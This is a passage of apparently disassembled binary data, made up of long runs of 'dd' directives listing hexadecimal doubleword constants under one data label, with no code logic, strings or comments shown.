		dd 9D4D148Eh, 0DEC13EDFh, 42169B3Dh, 0DB6D040h,	7C75004Ch
		dd 0B0AB9752h, 0EE009A8Dh, 0C4DC085Bh, 0B742A0h, 0A6569D0Ch
		dd 0FE14DE6Ch, 7ABE9800h, 3664583Bh, 467CEAh, 0B76B831Fh
		dd 55880353h, 0BD0042B8h, 54EC026Ch, 19F44h, 0B75FAAE1h
		dd 0FB682B62h, 0ADDC9602h, 0C3E9E628h, 78BCE0F1h, 1E1CE44Dh
		dd 0C030D58Ch, 3C24C7A6h, 0F2007267h, 8BC251A8h, 747E81h
		dd 99498EFEh, 0A12092C7h, 0AA150500h, 457AEF8h,	0C2F30083h
		dd 89DD5660h, 0FF007F9Ch, 9703EAA7h, 0C34D94h, 0B8BB301Eh
		dd 0AB5FBAAFh, 5E3D2001h, 8AC54A45h, 1CE5CFE0h,	2CCB395h
		dd 8E0A8907h, 3E2162E0h, 83E23Dh, 0F747DDD1h, 26282ACDh
		dd 1B25CF6h, 2B85C6D6h,	3753E09Bh, 4023D312h, 2DB47304h
		dd 528B5480h, 147A0033h, 80041B90h, 5E00BC36h, 0C51398Dh
		dd 98157C49h, 951E00F5h, 0C6B122CEh, 680384E2h,	1A9EAF99h
		dd 0FADAE0F1h, 2B59008Ch, 376CDE7Ah, 6101C6EAh,	4429DBF5h
		dd 0E7EC7F99h, 6D840076h, 0DA9EBCD9h, 0D0E1F08h, 87C2EDF1h
		dd 1DB0BD11h, 3D416Dh, 7137F4ACh, 0EC657FE4h, 4A94F907h
		dd 0F0711C7Ch, 0C1CCF5D1h, 5E390E3Bh, 3A0F683h,	0C277241Dh
		dd 176F6700h, 0F588C695h, 0E35B00AEh, 8D3AB8Bh,	30003F57h
		dd 0FA451B18h, 4CD2F12h, 40064B1Dh, 0B7318137h,	7116EDFDh
		dd 0B5016E07h, 0FAD1B2EEh, 5238E8h, 0CDDFEF53h,	87F0EC0Ch
		dd 5FA03605h, 0A420181Eh, 3D368E1h, 0DB8ED804h,	0C790F9C1h
		dd 8700CCBEh, 0A7050D56h, 0B2232Bh, 0A104CF82h,	0F997F6B4h
		dd 3BC7BA00h, 0DBA57C8Ch, 17D0F1A3h, 189C0099h,	5A25D8C4h
		dd 0D2003961h, 0DDEC6985h, 3D61211h, 3B3F0AF4h,	72A0B8C1h
		dd 0DCF43325h, 6FAC7C07h, 0E3044B3h, 0CC9062h, 0E93F7957h
		dd 0C8CFFEC6h, 73BF6326h, 0AD5B6B03h, 530EFE4h,	73503Ah
		dd 36B1C3DFh, 0F4878122h, 0ACC98F00h, 313F275Bh, 200B007Dh
		dd 0E55634B6h, 0B0079074h, 8759469h, 0E6AEFB10h, 0CCF10024h
		dd 31933A0Ch, 0B7000EA4h, 8DDD6A44h, 4787D4h, 7F4DAA05h
		dd 0D351EBD6h, 6C62F600h, 0D7A935E3h, 3BB37940h, 948031F7h
		dd 525E0619h, 4C3DAC60h, 70E68EA3h, 30EA040h, 9C2896h
		dd 0B82BDBB7h, 8E50D3BEh, 0E00A3D00h, 1D064077h, 4C2000A8h
		dd 4F91BF49h, 0E1008B5Bh, 444611E5h, 0E0DA21h, 0EFD9F4FFh
		dd 2D056C49h, 9500C772h, 0F6184A32h, 25828h, 12B55D88h
		dd 0E34F5C62h, 0C6311300h, 0BFFC2C24h, 90E70275h, 0C87225CAh
		dd 0B2DA80C8h, 51E36F6h, 61C016C3h, 54354392h, 10480087h
		dd 51713C8Dh, 0D90040B4h, 0EC3AE0FEh, 2B84C0h, 630981C1h
		dd 1E7B1AFFh, 5C679A00h, 0BE625E20h, 0E8800088h, 91C650D8h
		dd 993B07F7h, 0E6EF00CBh, 14316344h, 21F11D86h,	0C51600E1h
		dd 602A154Dh, 0E426F300h, 0B9766304h, 48FC7Eh, 0A46CFA30h
		dd 8ED18829h, 0D46E2625h, 24C00079h, 0FC8DEDC5h, 83CBD406h
		dd 1F3E17E5h, 0DFC3ADE1h, 3D68ACFh, 1F8B39F4h, 6670C75Fh
		dd 97835800h, 30EFA726h, 17B70094h, 5A0DA58Dh, 0BE008840h
		dd 0DA152141h, 7B9C05h,	8EAFE3E8h, 235D983Ch, 93FF8200h
		dd 422C3D74h, 1792070Eh, 60277D7Ch, 89451C9h, 0F6035500h
		dd 382BA36Eh, 0A17B05ADh, 80BF20DDh, 417309F3h,	0EBE2D700h
		dd 0B0239F4Dh, 196607AEh, 0E0BDB7E8h, 2B98BDDh,	0A6F4C000h
		dd 68B46FD7h, 6D4C004Bh, 524AC878h, 5A00025Dh, 0A1185E93h
		dd 1F251CAh, 99455431h,	0EC2AD7DDh, 7E036390h, 34682E77h
		dd 1AB3C8B4h, 0D18201BEh, 9AE9F947h, 9681F087h,	73042F3Ch
		dd 4FE08D0Eh, 0F13E026h, 223B05h, 8064A45Fh, 9E28D747h
		dd 357E5Ch, 8C8923C6h, 73053F5h, 0CE1C0274h, 3FC560E1h
		dd 1A0E4D55h, 612A94B6h, 0BE9FACEFh, 1444020h, 0C5866EB4h
		dd 707EFCBAh, 930024A0h, 0D476B2E8h, 2A5EF7h, 0FFF2E382h
		dd 0D08429D2h, 8FDB4C05h, 94D00634h, 0FB7ACE2Fh, 141970h
		dd 611B5D66h, 0E5EC12BAh, 0A915D900h, 4B1838FFh, 0B91F0083h
		dd 0FB852A04h, 490A0317h, 0FC7B666Bh, 0A659B307h, 4218C350h
		dd 61980002h, 0C1699C07h, 7C00B92Ah, 3A1E7671h,	4B26EAh
		dd 7F40989Eh, 560A6892h, 0E1AA5000h, 8016330Bh,	0BF4600F0h
		dd 0D6C1482Eh, 527F5636h, 308BC800h, 42D90966h,	2E9000F9h
		dd 0B43DC25Ah, 0F6008102h, 0CD32D1C1h, 454173Ch, 0B80DE2AEh
		dd 534083F0h, 0F4CE1000h, 81DC14D5h, 68A60049h,	461CA9F6h
		dd 44007E57h, 7B6F6BCFh, 7519D84Fh, 0A48D3D58h,	7C95B080h
		dd 6CE2B417h, 0C4FFB200h, 309B988Eh, 0EFB700FCh, 290503DAh
		dd 0F000B90Bh, 5906161Eh, 0FC8BED53h, 8FDD0128h, 0F66C374Eh
		dd 0B85FE4F3h, 8AA41D00h, 0FBAE9262h, 0A1C0F2Bh, 7420D759h
		dd 0FC0385D8h, 91FD6500h, 41694C98h, 0EB6D74B4h, 0F01BACECh
		dd 222E0040h, 0EA285E27h, 0B700ED63h, 1ECBADD2h, 1FD137h
		dd 0DDDA3C33h, 230B342h, 0AB532100h, 0A6BCF59Fh, 0B9FA055Dh
		dd 0C03E8274h, 5AC62DCCh, 1DAB0300h, 0CF0AE6FCh, 991900A4h
		dd 0A2467943h, 0CD03A5B4h, 4C58F66Bh, 9371B808h, 2FAE3A5Bh
		dd 5CA1800h, 2D6DD08Bh,	0F5CE7401h, 0B47F6EA9h,	0F690C6D0h
		dd 0E7FD5893h, 0A028EB00h, 354A7B0Bh, 960E2900h, 1E93E274h
		dd 0C6E0066h, 0CC9DAA91h, 0C203ACCDh, 3DDBA17h,	611100C3h
		dd 0F8AF3FBCh, 0F4005147h, 1EFE61Bh, 0ADBBBDh, 9A8BD607h
		dd 0B64D569Fh, 8E21940h, 0C077596Bh, 0CC9B1280h, 9007BFh
		dd 0F983CE4Eh, 33B1B6F6h, 0BCA0D664h, 2BB828C0h, 0C3060754h
		dd 0E03BD090h, 1B28837Bh, 0C98B1C0Eh, 54313830h, 1EA971BEh
		dd 5F672B4Bh, 0C2E1000Bh
dword_5AF27C	dd 0D2B51196h, 13F6E301h, 74A6BDB9h, 0D59DF0h, 60DB68CAh
		dd 0D37EA108h, 83B50107h, 62622B6Eh, 0D594A0DEh, 0C004554Ah
		dd 0F6F18D68h, 0E17488FFh, 981E4605h, 100024D0h, 0C9DE78D1h
		dd 72800310h, 220766CFh, 1BA25588h, 472F3903h, 90EB7A49h
		dd 420B11h, 4E23EF71h, 3DA119CFh, 84B28E1Eh, 27609880h
		dd 14331Ch, 50044CADh, 118D8AD9h, 85EA7A01h, 8A6C0BCh
		dd 5EF8CDFCh, 1D16E8F1h, 640076EEh, 960B0F7Bh, 0B4EAFEh
		dd 0DA309827h, 0B9B54FE2h, 6A179B00h, 0F3AB8DA5h, 50E909DFh
		dd 0C28154C5h, 0FC4F1D60h, 0A100D62Fh, 0C867FBB2h, 0F23C34h
		dd 9A3DD87Dh, 5841F688h, 1F00E58h, 155466E5h, 0DEE4E80Bh
		dd 0D8201889h, 903720FDh, 5A1FA0E4h, 1E198C5h, 2777BC8h
		dd 0C9E05007h, 6F3AD3D9h, 2B1060FFh, 3A1D8CEh, 9EEBD7EEh
		dd 83C95BCh, 0FC20E3B9h, 65FB8989h, 12A408F0h, 37A05F2h
		dd 113EC9Dh, 613A6802h,	48661B87h, 7E460808h, 0A9910038h
		dd 31839D6Bh, 3F509A9Fh, 900D6F4h, 0D92B7C40h, 0CFC18CC4h
		dd 0D2005D06h, 81717A30h, 7D335801h, 0D73D2310h, 34BFF0h
		dd 75ABA01Dh, 0BDA71F1Ah, 8DA2DE18h, 305041D0h,	0D6E87EBAh
		dd 6B00F413h, 4CB615E6h, 12EF2Ah, 72BCC7E5h, 9E297627h
		dd 70011F6h, 0F8AB64BEh, 41ADA1h, 0BD5A33C2h, 0E7429A37h
		dd 390E8D7Fh, 402F5067h, 0BBE9A749h, 7E83715Bh,	0DE07002Ah
		dd 9F242E91h, 0E7004BACh, 166E54A9h, 0C0DBAF56h, 623F1841h
		dd 0A4EA3217h, 0B0DEF901h, 4C619BA3h, 368D1F8h,	39A5F38Ch
		dd 0B387A689h, 60BEBFAAh, 65831600h, 1ECA8C08h,	2E753E4Fh
		dd 0D6A70477h, 870B10EAh, 10804B22h, 0B84F8F0Fh, 65BA4500h
		dd 26683739h, 1EB2F0B0h, 5302460h, 8077F80Eh, 24AA010h
		dd 282A0D37h, 21E100CFh, 284B872Bh, 0F8186CB2h,	0F1F20046h
		dd 7D1ACDD6h, 0DCF931BFh, 9800A237h, 78A7DADCh,	0FEA36CDDh
		dd 2FB71F77h, 0BF10305Bh, 511F88C0h, 31F9835h, 0BE01A897h
		dd 1760FF7Ch, 0B0143FC8h, 0E39000B0h, 4477972Ch, 0DB00FCAAh
		dd 47F7CB5Ah, 1299BCh, 0E93C1436h, 0FEC0039Bh, 0CD00E475h
		dd 9925AE87h, 3F26D91Dh, 0E8014DE5h, 7B1350BCh,	0C99740D3h
		dd 0DF7012B1h, 0F5263A1Fh, 33058601h, 0DA60784Dh, 9A4B0030h
		dd 0CB94E64Eh, 723C9CC8h, 29C60C9Fh, 17B78B3h, 352F6515h
		dd 0C407A381h, 0EB0044CBh, 5ACE4BCAh, 6A8B0E5h,	0CBFF904h
		dd 0AA00197Eh, 0F6011B75h, 3E64A324h, 860AC5F7h, 0D01D6Bh
		dd 0D877EB30h, 0A9E890F5h, 12BE1600h, 0C1F08FB7h, 1D6BB89Dh
		dd 0C034548Dh, 849ADAEAh, 7B7ED7B0h, 101633Fh, 0C3AE5A19h
		dd 0EAF869EFh, 0D6490395h, 5FB22286h, 0F8FAA398h, 0F74FE31Dh
		dd 8E5C4930h, 0FC27B44h, 39B87D5Fh, 89C3AF07h, 173B70Fh
		dd 0E24BCE98h, 954ECC34h, 5B286000h, 0B24D2665h, 0D243011Ah
		dd 0D6D880DEh, 8085EDA9h, 14F0270h, 27AA11h, 0CC193634h
		dd 83A45686h, 802B5E30h, 38A48C7h, 7AED6B8h, 94F00D6Dh
		dd 351CDDEEh, 9A0F4E61h, 807CDDFEh, 43AB7959h, 161215h
		dd 2290EDF6h, 0A0C97A40h, 80450D3Fh, 3AD6C4Eh, 7B5A0Fh
		dd 161C5E51h, 537CB434h, 4BA4411Eh, 0E7F74CEh, 29E96149h
		dd 0D1E406D7h, 80A90B0Dh, 5301D608h, 20EC6A2Bh,	3D00177Ah
		dd 7ABB9391h, 13DF261Bh, 0E2E60Ch, 15F00802h, 600E4FD0h
		dd 40AE809Eh, 926A70AAh, 73E47D5Fh, 208452B1h, 4B288BCFh
		dd 0CDC7E864h, 4178E4C1h, 8AAAE02Ah, 0FBBAC907h, 8F87F02Dh
		dd 43C02C65h, 0F905F7E2h, 30DE5FD0h, 964897C0h,	4500BA39h
		dd 0BDBBC39Dh, 38011443h, 0F18F441Bh, 3BA34F09h, 0FEBF2381h
		dd 393EA20h, 0A0C39733h, 8E4D40BEh, 0DAF701C0h,	0F4A9B81Ah
		dd 0C03CF495h, 28FE7536h, 0B95801D8h, 0A501BA0Ch, 48A450AFh
		dd 866E6C1Ch, 7466A758h, 0E4C87Ch, 6FC9F213h, 0D6B5ED6Ah
		dd 5F006972h, 0CD31C66Dh, 0E496D8h, 0E2771DA4h,	91B8E8EBh
		dd 80B9E52Bh, 945C8E80h, 8D51CCFFh, 3D18532Ch, 73FA35A8h
		dd 0E44501D8h, 0ED16E020h, 9F05010h, 55003980h,	34EB5128h
		dd 9C9CF97h, 1FB30A3h, 0D73F5400h, 0EE0055BDh, 444E4C19h
		dd 1DC9B540h, 8033E2FCh, 1D817BA6h, 0B07145FEh,	1105D7E6h
		dd 0D252AF1Ah, 0FA182038h, 0D51686E3h, 49073425h, 0D450EAD7h
		dd 1549EF32h, 0D0CFA623h, 0F1331279h, 6020006Ah, 0FC2479F4h
		dd 161FD3F8h, 51009268h, 9ED753EAh, 0BF3F023Dh,	2E44BAD4h
		dd 7588B540h, 31B2CD03h, 15FDA37h, 5126EBB2h, 0E0E6FA3Eh
		dd 0A5F6D321h, 2D60FC01h, 0FE48BCF6h, 40EAC19Dh, 8C1C7DD5h
		dd 6F00F8CFh, 0F6E73104h, 14FDF7h, 595FCD33h, 1E9DBF5Ah
		dd 4290AC00h, 164CA3B9h, 1990E0Ch, 17C00FB8h, 0B4959B61h
		dd 33A5D300h, 903C932Ah, 57B10123h, 371694D9h, 0D01AE80Bh
		dd 4E080D03h, 0F8F49B88h, 77A1C94Ah, 0FD20005Ch, 855FCEADh
		dd 32006827h, 2DC1ABEDh, 5861CDh, 0B25EF428h, 0EC9E6C8Eh
		dd 23763Ah, 0A148C29h, 192B44h,	622D219Ah, 0B81D5E5Bh
		dd 49248D00h, 0F2B2A470h, 0DA8C06FAh, 70626C39h, 7D304D17h
		dd 0F16C601h, 58C08483h, 0D0CC67B4h, 280D5608h,	17504E01h
		dd 0FB7F520Ah, 13208C46h, 6CF89A0h, 28661A51h, 27B48A00h
		dd 60551CBEh, 0D417093Dh, 76002A06h, 3A7DCE72h,	6C898700h
		dd 84883FD7h, 191A0030h, 0FDAE644Eh, 9D0031E3h,	0AA8CDFCAh
		dd 1BC8477h, 4DEBBE3Eh,	0C0C7E498h, 0C100068Fh,	0FE7AD231h
		dd 9A628h, 0FFCBDB63h, 0DA970F48h, 0B754C717h, 40934701h
		dd 58EC7CE7h, 0A8C6001Ch, 0E898CE44h, 7F0FF6AAh, 40A55905h
		dd 23A4884Ch, 298000B3h, 46B7BF35h, 40C07A4Fh, 0EF64C5C7h
		dd 59871CF6h, 0C3D1400Ah, 83561179h, 23A86D00h,	6609FB32h
		dd 200F0105h, 0AD0DE254h, 36950084h, 0F2561FF3h, 9023C066h
		dd 13F45B3h, 4E0B8500h,	0C3C7CB79h, 2AB700ECh, 0E3D24042h
		dd 40A24593h, 0DFC134C3h, 4DC2D0B1h, 0B3CF2600h, 65025AB4h
		dd 0C01400ECh, 558CF621h, 5D00FC3Ah, 4D317040h,	1D0702C7h
		dd 86ED1F0Fh, 8C459A8h,	0A56D4400h, 0D8C9275Eh,	0CEB500A1h
		dd 0BD63D369h, 0C3000FFDh, 0E674BEDFh, 0F6286EFh, 4F977F31h
		dd 8CBC8EA3h, 59A04C88h, 0C9753F00h, 45F25D41h,	297C1ED8h
		dd 8C5A01BBh, 0E8E76287h, 540042BEh, 26FF0E20h,	1A8594h
		dd 1DA512A3h, 35189E83h, 93000373h, 552F4809h, 0B2A923h
		dd 6FC08C92h, 79AF201Dh, 0FD096BFCh, 81F37F0Eh,	6C831A68h
		dd 0D8FFA3EFh, 0F33C3DFh, 983CCAA0h, 3BDA83Eh, 971A747Ch
		dd 24B80D21h, 5D04489Ah, 3F6EA933h, 4FAF0EC0h, 0B58A0093h
		dd 0EC0C6AE3h, 0F8000A31h, 4C5F17AEh, 322ED13h,	3864DB5Ch
		dd 7AE0A19Bh, 672CC152h, 1900CD1Fh, 0B7F71AFBh,	646D009Ah
		dd 3FC8695Ch, 0B558D3AFh, 9F090016h, 2F27FB62h,	0C7FE00C4h
		dd 39C8A68Bh, 0D00A576h, 422932BFh, 78A29D7Eh, 0E5C10E97h
		dd 0D963D3C8h, 6800201Fh, 966B6CF4h, 19CCB40h, 0FD6A84A4h
		dd 48DDF957h, 0D2006C48h, 8A473F8Ch, 305137h, 7F60435h
		dd 2DAE99C9h, 0CB9D0B06h, 80998C4Ah, 387268C2h,	0A700E7BFh
		dd 0D34CEEECh, 0BA00136Ah, 702DAFDDh, 3B8A3F8h,	5F492C87h
		dd 0FB0AB54h, 11008A57h, 0AE209D1Fh, 9F8EC25h, 7071CD13h
		dd 0D1E3CB01h, 0AAA1F0E6h, 0AB46EE03h, 88642E0Dh, 0E83C15h
		dd 0D9168C5Bh, 0EC87DEC3h
		dd 0CB120700h, 243D29D2h, 7C1FF6D4h, 854631F7h,	0F09448F1h
		dd 0C200B493h, 9E7606E8h, 3F14451Ah, 0F6625Fh, 87FA2E82h
		dd 415044BFh, 145EEA4Ch, 0D0BA0Ah, 898595D4h, 284C6C0Dh
		dd 0CCF5EFh, 5E47069Ah,	0FCE91596h, 0B7C8278h, 2BDEC200h
		dd 0AB0C2385h, 340D0B46h, 2D80DB92h, 4B9325F8h,	0D0262C07h
		dd 57608BEAh, 3FE8BBF6h, 10E71F3h, 95A0AB11h, 87315089h
		dd 0AD09E300h, 88B1E2C5h, 0E9251885h, 4C3BFE27h, 0BF072E03h
		dd 0B8512167h, 7B9C0Dh,	0EBB64F3Eh, 6C93BA08h, 4863E701h
		dd 0F9247726h, 0DC500EFDh, 3D06E70h, 0F6253C30h, 41971DACh
		dd 0C80937ECh, 28017894h, 89E034Fh, 0A8805430h,	4CF524D7h
		dd 77002BDCh, 0C9FE2D4Dh, 919D05h, 9BF4920Eh, 70ABFF15h
		dd 80CCB83Eh, 0E13047B3h, 38A4C8h, 0FF3AA658h, 0C0988AC9h
		dd 9CA04C90h, 79009525h, 185D1DFh, 3D75E9A9h, 5B0097E1h
		dd 0CAAF89C6h, 0E8034828h, 0D5B8384Dh, 105FF866h, 40F50565h
		dd 0C04EDA2Ch, 0FBEFF8DCh, 51BD7003h, 0B0B65AD9h, 12BA0B8Bh
		dd 0E5EAFEBh, 4F80B87Ch, 0B411C4FCh, 73609201h,	0E5E8770Fh
		dd 29000C22h, 0FFDDB1F8h, 8E003D49h, 0E8C7CD0Fh, 0B00987FCh
		dd 473600F3h, 0C40D77FBh, 0E10025DDh, 393C38Fh,	0EC8C0Eh
		dd 0AC28BB89h, 62EF75D2h, 0BE02237Bh, 0B73225E0h, 0E42840B6h
		dd 0D28300F8h, 0DB865E38h, 2E02DA31h, 0C43D76D8h, 0D5F6409Ah
		dd 0C1493DDDh, 2D81AB07h, 0C014772Ah, 2F5AAA5Eh, 8F555100h
		dd 4E77244Fh, 29DF0070h, 987F7A3Ch, 6300AF0Fh, 74CD8E6h
		dd 3679105h, 825AC9A1h,	6EB0ED16h, 97008AA2h, 9AE21153h
		dd 0EE456F1h, 27BEF839h, 0F043F9A0h, 730E0291h,	61DB7C83h
		dd 6FEB74D9h, 0A3FD1C31h, 0BC20CC4h, 72872E59h,	9A75200h
		dd 52022B88h, 0DA9992F9h, 27204050h, 0E787D96h,	5519A9Ch
		dd 69B8C03Eh, 0E15922AEh, 0FA646E01h, 73FF10B7h, 3177960h
		dd 40524B15h, 7298B6BDh, 3E0A1E0Ch, 0D0FFE64Ch,	0FA09E283h
		dd 0C914B873h, 0E96C0454h, 91922C96h, 0F8D76EC8h, 0B61DF5CBh
		dd 95004341h, 859A2E96h, 0CDE82C24h, 330039A1h,	0A8295962h
		dd 81008261h, 0D8748454h, 4F5C071h, 1B11A396h, 80A8C49Bh
		dd 0D12BB47h, 0E2FBD00h, 93A8AE9Dh, 0E7E626A6h,	7DD8011Ch
		dd 0E9C073AFh, 0CC032E4h, 0B9AC8DC6h, 9C0E0043h, 1B6DC0F4h
		dd 5400EB05h, 11A56470h, 23B772Ah, 0C04E49Ah, 407D5332h
		dd 3FC53C76h, 0D200E203h, 0D3AFA99h, 5CB07E6Fh,	0F5A0D301h
		dd 0BDCBF54h, 244F9CCh,	5D6A604Fh, 0B0B008ABh, 0F30A1379h
		dd 10877DCFh, 92961750h, 653E0080h, 6A43DE2Ch, 0D200D98Bh
		dd 0B8F4238Fh, 2CA2684h, 0C1ED0787h, 1CC32D69h,	80CEB2E1h
		dd 446B7558h, 630531h, 0B0CC28D5h, 0B20B5C14h, 0D3AB7926h
		dd 94685500h, 72B1906Fh, 0CA063AC2h, 5B7C7A80h,	411FCB53h
		dd 86A9E600h, 0A2E92F6Ah, 50C8006Bh, 0F82AFAEh,	4900D51Eh
		dd 0AD5930C6h, 1E99FFAh, 0C7974AA9h, 0C833AF13h, 0FD00731Ah
		dd 0BDCF88ABh, 3528F7Fh, 0E094427Eh, 95B8965Dh,	5A0ED426h
		dd 0C0FD584Fh, 5C175415h, 0D72900E0h, 0CDFB2555h, 8D0CF0CEh
		dd 68FED22Bh, 0AE707D8h, 700E4731h, 92A80769h, 4AEF2A00h
		dd 0D6982D35h, 0F05E00E8h, 0F4E058AEh, 0DE00E148h, 27144AFEh
		dd 0C83B63h, 0C308FBA6h, 908E54F8h, 0EBACA500h,	105B9FDFh
		dd 3D070059h, 0D52A8481h, 0C21C5A1Eh, 0F9C69386h, 88C541h
		dd 0E018EDA5h, 750EEEB5h, 8B580A28h, 5E014730h,	24A43Fh
		dd 84AF0D29h, 744216AEh, 4A8CFF48h, 82495700h, 628D13h
		dd 0B88AB310h, 7F549C52h, 0EF0084FCh, 6F4ECA12h, 0E6DAC6h
		dd 0B7AA2A2Ch, 8696F336h, 9C0F6000h, 0AE7D3013h, 0CE2C00C5h
		dd 52B1C658h, 4E005E1Ah, 0EF7BC954h, 0ECC7D8h, 0AA59AB21h
		dd 2C3DA1BCh, 364E6000h, 97DAE6CDh, 0C0DB00C6h,	0DC04215Dh
		dd 5B26418Ah, 5600D8A6h, 6FC6A306h, 0DD0A01CAh,	0BF890BAEh
		dd 4CC1EC10h, 0D3B67F4h, 42780041h, 3DD8B09Ah, 64F00E1h
		dd 0FBE69787h, 93000A7Dh, 0D9946D6Eh, 30904ABBh, 4490113h
		dd 9200EB6Fh, 0F5626A96h, 719A49h, 8EEC3685h, 2A1E4D83h
		dd 0D98CCE26h, 3429FF00h, 97AD80h, 1B640A6Ah, 0BC7B1A9Ah
		dd 0F43EDD72h, 7A92005Fh, 6FD0E0B0h, 24C30032h,	26182548h
		dd 0A20091E2h, 156C8F1h, 0A142968h, 0A8D705Bh, 0E54F01A8h
		dd 0F8B358E8h, 0EF00E2BFh, 3B78D3A3h, 3D5F546h,	0B51FB645h
		dd 54000AE9h, 73E73CC7h, 0FD0680h, 0ED0EA2D2h, 353AF112h
		dd 581D2B7Fh, 0E7402E60h, 7E27B67Ch, 0F8E8258Bh, 8C007A70h
		dd 2EB29851h, 0A732DFh,	0D5871C30h, 61BECD9Fh, 731B18C0h
		dd 4601A3h, 2D31F3FAh, 95A0E9F1h, 0D083C603h, 1EA18F1Ah
		dd 0DFE6DE30h, 68680D1h, 0B597BF79h, 0F97E7700h, 1D75EFD0h
		dd 52F0B55Dh, 61015C00h, 0E9CC833Ch, 59FE0313h,	9037E598h
		dd 30B01DD8h, 32206500h, 438033BDh, 76B40B07h, 280116Fh
		dd 0F888F6E7h, 3586F700h, 0B8CCDAB0h, 820E2D28h, 0CF001978h
		dd 5E4AA53Fh, 1F15A3h, 6131FF44h, 0C5D43D50h, 7600697Fh
		dd 21D2DB3h, 0C28592h, 35E85F81h, 0C8EBF8D9h, 54C0AD00h
		dd 0F4CC931Dh, 982204C2h, 805A7120h, 30DC812Ah,	0F5383D00h
		dd 0A44945EFh, 37513ECAh, 29FD5700h, 2F8D2467h,	0DB4C1E00h
		dd 0D2A0E59Eh, 1CCC7ECBh, 4FE8D015h, 3AC3121Dh,	72D06976h
		dd 0CD00939Ah, 49874FE4h, 846AAAh, 85D0EC7h, 541D8A38h
		dd 92C3DF1Fh, 4A14303h,	5B61806Ah, 69030002h, 9EFD452Eh
		dd 0F503780Ch, 85547AABh, 172C082h, 0E313003Eh,	529B6931h
		dd 0FDFCAAC7h, 5CD6433Fh, 0F63B005Fh, 6CAB7C7Eh, 0FED50090h
		dd 4074C22Dh, 540FF7AFh, 7D87D343h, 0D2EBDA00h,	269C49B8h
		dd 1EE9B90h, 32FB155Ah,	8B1DF4EDh, 14415000h, 3ACE060Fh
		dd 7C2A6172h, 23C6573Dh, 6BB0024h, 2417FCFh, 541400FEh
		dd 8ABAF2C7h, 93981C1Bh, 9C717A01h, 322FC57h, 975CC8h
		dd 2EB6E8AAh, 0F9CC1209h, 0F7B9EF00h, 0B72182CDh, 0CFF80014h
		dd 0B08C9FE6h, 0D700B553h, 4743D2FEh, 78BB27Ah,	0B88845AAh
		dd 0F4899060h, 6E0057F0h, 0AEDBDCC1h, 2C39E970h, 0EF448Ch
		dd 531A5060h, 4A005D52h, 0AB28EF26h, 0A1E18Bh, 0F4E990B4h
		dd 95EB2532h, 0DDAEA200h, 0C51B51C8h, 0C3154B6h, 0B92D0085h
		dd 55CEFBBEh, 30004A42h, 10C42CC2h, 0DEA68EDh, 8CEC7DE1h
		dd 0B995C899h, 0A24CDF1Fh, 0DEE8E980h, 2FCB35h,	0DB2AA845h
		dd 526AFBFDh, 9DF2CA0Ch, 7C628D0h, 2E8C0121h, 3EB9A222h
		dd 0D6EDC6E0h, 0C795DD03h, 0E8B2E731h, 615D717h, 70237CDAh
		dd 3007042h, 0CABDE4A9h, 4ACD31h, 5D3C2F62h, 973FFA54h
		dd 154C780Eh, 20AE4FC3h, 764627BDh, 5DB07F2h, 404291BFh
		dd 0AE2DC4F4h, 28616603h, 0D08AFFE5h, 60584409h, 80D0E83Eh
		dd 2E00729Bh, 159A1A14h, 16AFCABh, 82623E4Eh, 0E168E2F8h
		dd 6DD5C491h, 83A22738h, 5EA41B7Bh, 5148886Eh, 1C5200C7h
		dd 0A8F732Dh, 5D0074EAh, 2E9CA895h, 0F0B3ED8h, 0B79FBA21h
		dd 80C57A67h, 0E48F9F5h, 0FCB0A554h, 8800BBE6h,	28821F3Fh
		dd 7D972E94h, 0CF8034Eh, 0E39B4967h, 23F216C8h,	0FDAA7400h
		dd 7F41D877h, 7DEA7E32h, 0E8FF00DEh, 0D14406A3h, 7E006C2Dh
		dd 5896B469h, 615FC9h, 6FDFFC55h, 0D33A3501h, 96E8F760h
		dd 92DC07h, 0A2D9B773h
		dd 0EB5C3162h, 8AF85360h, 60C39B25h, 3D4041B0h,	0E9EA8F68h
		dd 48190B03h, 0B745AF7Dh, 0F1B20D20h, 0D5F80029h, 69098926h
		dd 0CF07DC93h, 0B1721A99h, 0C2634160h, 5E122A67h, 2D650780h
		dd 84E1DD93h, 0D13DC042h, 0BF023FCBh, 0BCA2E682h, 0F018404Bh
		dd 31030158h, 0FDB980DFh, 297C22D1h, 21004C54h,	9DA6E4AAh
		dd 0D9BF0F4Ah, 0D623FEDBh, 480090F5h, 8D6BAD5Dh, 6628CDh
		dd 9227B5Fh, 8F45EC91h,	31137C00h, 80F97285h, 95BD008Bh
		dd 617BEAABh, 3004EDCh,	31F4270Bh, 77C10Fh, 417AA4BBh
		dd 87A68E1Eh, 0CF21901Ch, 5789DECBh, 1C50780h, 3C00586Dh
		dd 703E6049h, 5802F7Ch,	32A175A8h, 96B40E6Fh, 603F5040h
		dd 200A7A9h, 2815E5C5h,	18C04FCh, 5CB4AD21h, 20CBE9AAh
		dd 0A1004D76h, 37F67A62h, 0B0918Dh, 5638049Ch, 0C7F951A8h
		dd 0AA01CB7Ah, 119E027Bh, 0ADE874A0h, 0BAE800D5h, 8DE6224Ah
		dd 353D8CE5h, 0B5760060h, 0BEF60E02h, 17A03CAh,	540A0625h
		dd 51F93EE8h, 0F7008598h, 4AD24744h, 0FCF67D03h, 574D00B2h
		dd 52B9C47Bh, 50955AF4h, 0F0DE0078h, 6B5C28CEh,	6900E33Ch
		dd 95DBB9E8h, 471138h, 5E55588Eh, 7787EEDh, 94445000h
		dd 3A069D76h, 7BF01CF2h, 997101B9h, 0F06135EAh,	0AF00A49Eh
		dd 0D037AA89h, 72CED27Eh, 5CF10173h, 425D732h, 0CC2761DDh
		dd 0E3E1142h, 4E8C6379h, 9BE8E8A0h, 5AAB00FCh, 0D46A1060h
		dd 1D741509h, 0E4A6BF14h, 24C70EBCh, 6393204Ch,	295F34E1h
		dd 40D47AD8h, 54B8611Ah, 0F4695E1Fh, 0E641DA43h, 91D6B870h
		dd 0DE822457h, 0CF560368h, 86BC358Fh, 1900F020h, 0AE3CF236h
		dd 0E276ABEEh, 84FE42h,	0C4285FC2h, 8986B39Bh, 3E5D6F01h
		dd 44A145BBh, 12DA04D4h, 0BDC465h, 0C5BFF2B6h, 0DB00FA4Fh
		dd 219740A4h, 7D101FBh,	0C77D1F85h, 0F075048h, 0F9C7DE81h
		dd 2E7F1421h, 6870765h,	4B19DA90h, 8C924869h, 568FE400h
		dd 0A47C0535h, 5CF4E300h, 79E0761Fh, 9807C94h, 850A4A77h
		dd 0B3325022h, 449B04E3h, 9187F1E0h, 0CF0A1505h, 7BC7B041h
		dd 39F44C40h, 0C4080386h, 11624579h, 0F124D094h, 751F38B8h
